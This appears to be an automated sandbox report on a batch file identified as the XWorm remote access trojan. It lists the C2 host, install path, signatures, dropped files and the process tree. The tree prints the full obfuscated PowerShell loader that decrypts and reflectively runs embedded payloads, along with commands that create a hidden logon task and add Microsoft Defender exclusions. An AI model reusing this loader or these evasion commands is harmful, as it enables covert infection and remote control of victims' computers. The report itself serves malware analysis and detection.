Analysis

  • max time kernel
    211s
  • max time network
    280s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    01/06/2024, 10:17

General

  • Target
    testdefnotrat.bat
  • Size 88KB
  • Sample240601-mbdejsaf56
  • SHA256 542b6ea0aba12f6502f2342d372d46039b8b418cdfdf9506b1590b0be9e5a69e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

C2
  • movie-buddy.gl.at.ply.gg:40572

Attributes
  • Install_directory

    %Public%

  • install_file

    Runtime Broker.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell and hide display window.

  • Drops startup file 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\testdefnotrat.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2468
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4896
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:1652
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+WKBueDL4L1FT16N3OjCKcG9y3s3mFUHzyuIf86tPEU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rUjqYhV/L2MMJdm62N8dyg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $TVlkQ=New-Object System.IO.MemoryStream(,$param_var); $KyoqA=New-Object System.IO.MemoryStream; $udXwX=New-Object System.IO.Compression.GZipStream($TVlkQ, [IO.Compression.CompressionMode]::Decompress); $udXwX.CopyTo($KyoqA); $udXwX.Dispose(); $TVlkQ.Dispose(); $KyoqA.Dispose(); $KyoqA.ToArray();}function execute_function($param_var,$param2_var){ $jEjLJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $hWhkp=$jEjLJ.EntryPoint; $hWhkp.Invoke($null, $param2_var);}$nQXKO = 'C:\Users\Admin\AppData\Local\Temp\testdefnotrat.bat';$host.UI.RawUI.WindowTitle = $nQXKO;$uFeOn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($nQXKO).Split([Environment]::NewLine);foreach ($BPgyp in $uFeOn) { if ($BPgyp.StartsWith('CxrQelWBbICNMckKrGWO')) { $RfNJq=$BPgyp.Substring(20); break; }}$payloads_var=[string[]]$RfNJq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        2⤵
          PID:4252
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2848
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_125_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_125.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4744
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_125.vbs"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2128
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_125.bat" "
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:5032
              • C:\Windows\system32\net.exe
                net file
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:5016
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 file
                  6⤵
                    PID:4692
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+WKBueDL4L1FT16N3OjCKcG9y3s3mFUHzyuIf86tPEU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rUjqYhV/L2MMJdm62N8dyg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $TVlkQ=New-Object System.IO.MemoryStream(,$param_var); $KyoqA=New-Object System.IO.MemoryStream; $udXwX=New-Object System.IO.Compression.GZipStream($TVlkQ, [IO.Compression.CompressionMode]::Decompress); $udXwX.CopyTo($KyoqA); $udXwX.Dispose(); $TVlkQ.Dispose(); $KyoqA.Dispose(); $KyoqA.ToArray();}function execute_function($param_var,$param2_var){ $jEjLJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $hWhkp=$jEjLJ.EntryPoint; $hWhkp.Invoke($null, $param2_var);}$nQXKO = 'C:\Users\Admin\AppData\Roaming\Windows_Log_125.bat';$host.UI.RawUI.WindowTitle = $nQXKO;$uFeOn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($nQXKO).Split([Environment]::NewLine);foreach ($BPgyp in $uFeOn) { if ($BPgyp.StartsWith('CxrQelWBbICNMckKrGWO')) { $RfNJq=$BPgyp.Substring(20); break; }}$payloads_var=[string[]]$RfNJq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                  5⤵
                    PID:4916
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                    5⤵
                    • Blocklisted process makes network request
                    • Command and Scripting Interpreter: PowerShell
                    • Drops startup file
                    • Adds Run key to start application
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of SetWindowsHookEx
                    • Suspicious use of WriteProcessMemory
                    PID:4056
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
                      6⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4428
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
                      6⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4880
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\Runtime Broker.exe'
                      6⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:3944
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Runtime Broker.exe'
                      6⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1164
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp2716.tmp.bat""
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4824
                      • C:\Windows\system32\timeout.exe
                        timeout 3
                        7⤵
                        • Delays execution with timeout.exe
                        PID:32

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 3KB
                • SHA256 e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6
                • MD5 SHA1 SHA512

                StartupProfileData-Interactive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                • Size 1KB
                • SHA256 214be9e8293b00fc05089068033edb41da350e0f127dd782bf6cb748000a56a5
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 0a2b951533b29655270b941077bbf34ba21a5a59aebaf9948130ff31c7adf808
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 f810e63ccdc0cbb4f587323d6c83baf9252ed2a71ee5951dd646a51069000405
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 d44590cb55e999c1e0abdd9932e00ddde1bc637ac3eb7d02374ace88479f2f50
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 6add231bbd51ead7de16ce1fd3a6c43fcf05fbb3301ac23705e371e835b20a73
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_yb3tl2gh.gc0.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yb3tl2gh.gc0.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                tmp2716.tmp.bat

                • Path C:\Users\Admin\AppData\Local\Temp\tmp2716.tmp.bat
                • Size 171B
                • SHA256 9920d6a5bb19c9b0b4e6a33e3188e1cde11c8ee42e8efd9c029cfb240d959a2e
                • MD5 SHA1 SHA512

                Windows_Log_125.bat

                • Path C:\Users\Admin\AppData\Roaming\Windows_Log_125.bat
                • Size 88KB
                • SHA256 542b6ea0aba12f6502f2342d372d46039b8b418cdfdf9506b1590b0be9e5a69e
                • MD5 SHA1 SHA512 SSDEEP

                Windows_Log_125.vbs

                • Path C:\Users\Admin\AppData\Roaming\Windows_Log_125.vbs
                • Size 115B
                • SHA256 fce724a9ba260b20ea20e0b1720248bed6690cbbfd464855a9af2ec6f896ceae
                • MD5 SHA1 SHA512

                memory/2848-0-0x00007FFB81333000-0x00007FFB81335000-memory.dmp

                memory/2848-14-0x0000028218830000-0x0000028218838000-memory.dmp

                memory/2848-15-0x0000028218840000-0x0000028218852000-memory.dmp

                memory/2848-43-0x00007FFB81330000-0x00007FFB81DF2000-memory.dmp

                memory/2848-13-0x000002827FA30000-0x000002827FA76000-memory.dmp

                memory/2848-12-0x00007FFB81330000-0x00007FFB81DF2000-memory.dmp

                memory/2848-11-0x00007FFB81330000-0x00007FFB81DF2000-memory.dmp

                memory/2848-9-0x000002827DDB0000-0x000002827DDD2000-memory.dmp

                memory/2848-10-0x00007FFB81330000-0x00007FFB81DF2000-memory.dmp

                memory/4056-44-0x00000171ABB90000-0x00000171ABBA6000-memory.dmp